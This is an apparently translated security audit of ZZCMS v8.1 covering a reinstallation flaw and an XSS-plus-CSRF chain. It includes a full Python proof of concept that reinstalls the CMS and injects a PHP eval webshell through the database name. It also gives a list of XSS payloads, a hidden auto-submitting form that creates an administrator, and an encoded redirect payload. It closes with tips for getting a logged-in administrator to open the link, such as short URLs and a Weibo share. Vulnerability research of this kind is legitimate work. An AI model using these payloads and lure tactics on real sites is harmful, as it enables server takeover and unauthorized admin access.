Auditing ZZCMS v8.1

SummaryI. Reinstallation vulnerability. Like other CMS products, this application uses a lock file to determine whether it has been installed. Because the check occurs only in step 1, an attacker can POST directly to steps 2 and 3 and reinstall it. Analysis of Install/Index.php: $submit = isset($POST['s…

Code Auditingzzcms

I. Reinstallation Vulnerability

Like many CMS products, this one uses a lock file to determine whether installation has completed. The mistake is that the lock file is checked only in step 1 rather than globally. An attacker can send POST requests directly to steps 2 and 3 to reinstall the application: Install/Index.phpfile:

$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
……
switch($step) {
	case '1'://协议
		include 'step_'.$step.'.php';
	break;
	case '2'://环境
		$pass = true;
		$PHP_VERSION = PHP_VERSION;
		if(version_compare($PHP_VERSION, '4.3.0', '<')) {
			$php_pass = $pass = false;
		} else {
			$php_pass = true;
		}
		$PHP_MYSQL = '';
		if(extension_loaded('mysql')) {
			$PHP_MYSQL = '支持';
			$mysql_pass = true;
		} else {
			$PHP_MYSQL = '不支持';
			$mysql_pass = $pass = false;
		}
        $PHP_GD = '';
        if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
        if(function_exists('imagegif')) $PHP_GD .= ' gif';
        if(function_exists('imagepng')) $PHP_GD .= ' png';
		if($PHP_GD) {
			$gd_pass = true;
		} else {
			$gd_pass = false;
		}
		$PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
		$url_pass = $PHP_URL ? true : false;
		include 'step_'.$step.'.php';
	break;
	case '3'://查目录属性
		include 'step_'.$step.'.php';
	break;
	case '4'://建数据库
		include 'step_'.$step.'.php';
	break;
	case '5'://安装进度
		function dexit($msg) {
			echo '<script>alert("'.$msg.'");window.history.back();</script>';
			exit;
		}

		if(!mysql_connect($db_host, $db_user, $db_pass)) dexit('无法连接到数据库服务器,请检查配置');
		$db_name or dexit('请填写数据库名');
		if(!mysql_select_db($db_name)) {
			if(!mysql_query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
		}

		//保存配置文件
		$fp="../inc/config.php";
		$f = fopen($fp,'r');
		$str = fread($f,filesize($fp));
		fclose($f);
		$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
		$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
		$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
		$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
		$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
		$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
		$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
		fputs($f,$str);//把替换后的内容写入文件
		fclose($f);
		//创建数据
		include 'step_'.$step.'.php';
		break;
	case '6'://安装成功
		include 'step_'.$step.'.php';
	break;
}


The file first checks whether a step parameter was submitted via POST; if so, it enters the installation flow. Since the default is 1, opening install/index.php almost always lands on this screen:
1.png
First, look at step_1.php:

2.png contains the check, but step_2, step_3, and step_4 do not: 3.png 4.png 5.png This creates the reinstallation vulnerability. Visit: 6.png Click Next. The database connection screen appears at the end:

7.png

Note that moving from step_3 to step_4 automatically generates a token:

Step_3.php:
if(@$step==3){
$token = md5(uniqid(rand(), true));
$_SESSION['token']= $token;

Submitting the installation parameters directly will fail, so reinstallation must follow the expected sequence. If the database password is known, obtaining a shell through reinstallation is straightforward. The configuration file confirms this:

8.png

The CMS also fails to filter the database name during creation:

9.png

A database can therefore be created with the name

cpanda;-- -');eval($_POST[123]);//'

payload to write a one-line webshell directly.

10.png

Inspect inc/config.php.

11.png The webshell has been inserted successfully and can be connected to directly. install/index.php also works because it includes config.php.

12.png

The complete PoC is therefore:

# coding=utf-8
import requests
import cgi
from bs4 import BeautifulSoup

s = requests.Session()
url_1 = 'http://127.0.0.1/install/index.php'
def get_token(url_1):
	data = {"step":"3"}
	request = s.post(url_1,data=data)
	html = request.content
	soup = BeautifulSoup(html)
	token = soup.find('input', {'name': 'token'})["value"]
	return token
data_1 = {"step":"5","token":get_token(url_1),"db_host":"localhost","db_user":"root","db_pass":"root","db_name":"panda;-- -');eval($_POST[123]);//'","url":"http://localhost/","admin":"admin","adminpwd":"admin888","adminpwd2":"admin888"}
getResult = s.post(url_1,data=data_1)
print getResult.text
print "\nOK!The CMS had reset!"
13.png

II. Creating an Administrator with XSS + CSRF

The audit also revealed an XSS vulnerability: 14.png

<input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET['noshuiyin']?>" />
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />

Submit values for the hidden noshuiyin and imgid fields to trigger XSS. One complication is that the CMS escapes both single and double quotes: 15.png This filter is ineffective and can be bypassed in many ways. Several payloads follow:

TEXT
http://localhost/uploadimg_form.php?noshuiyin="/><img src=0 onerror=alert(1)></img>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(1);</script>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(/xss/)</script>
http://localhost/uploadimg_form.php?noshuiyin="/><input onfocus=alert(1) autofocus>
http://localhost/uploadimg_form.php?noshuiyin="/><iframe/onload=alert(/xss/)>
http://localhost/uploadimg_form.php?noshuiyin="/><p onmouseover=alert(/xss/)>xss xss</p>

Reflected XSS is usually low severity, but combining it with CSRF can produce a much more interesting result. First, try adding an administrator in the backend and capture the request: 16.png There is indeed no token, so constructing the payload is straightforward:

Hello! Goodbye!

<form method="POST" action="http://127.0.0.1/admin/adminadd.php?action=add" target="hidden_frame">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="panda" />
<input type="hidden" name="passs" value="1230123" />
</form>
<iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe>
<script>document.forms[0].submit();</script>

The result is: 17.png The browser does not redirect to the success page, but the administrator account has actually been created: 18.png The administrator is created almost invisibly. The prerequisite is that the administrator is already signed in; otherwise, the request still redirects: 19.png Combining XSS and CSRF now produces the desired effect. Payload:

http://localhost/ uploadimg_form.php?noshuiyin="/>

A useful tip: as noted above, single and double quotes are filtered, yet a redirect normally requires quotes. Other researchers suggested using a backtick instead. Obfuscate it further:

http://127.0.0.1/ uploadimg_form.php?noshuiyin=%22%2f%3e%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%60%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%2f%74%65%73%74%2e%68%74%6d%6c%60%3c%2f%73%63%72%69%70%74%3e

Or use a short URL: 20.png

21.png Or finish with a Share to Weibo action: 22.png A very convenient link. Why encrypt this link rather than the phishing URL itself? The reason is Referer validation. Some CSRF defenses have no token but do enforce a Referer. This CMS has no such restriction, so hosting the payload on your own server and getting an administrator to visit it is enough. The encrypted form simply demonstrates how a Referer check could be bypassed.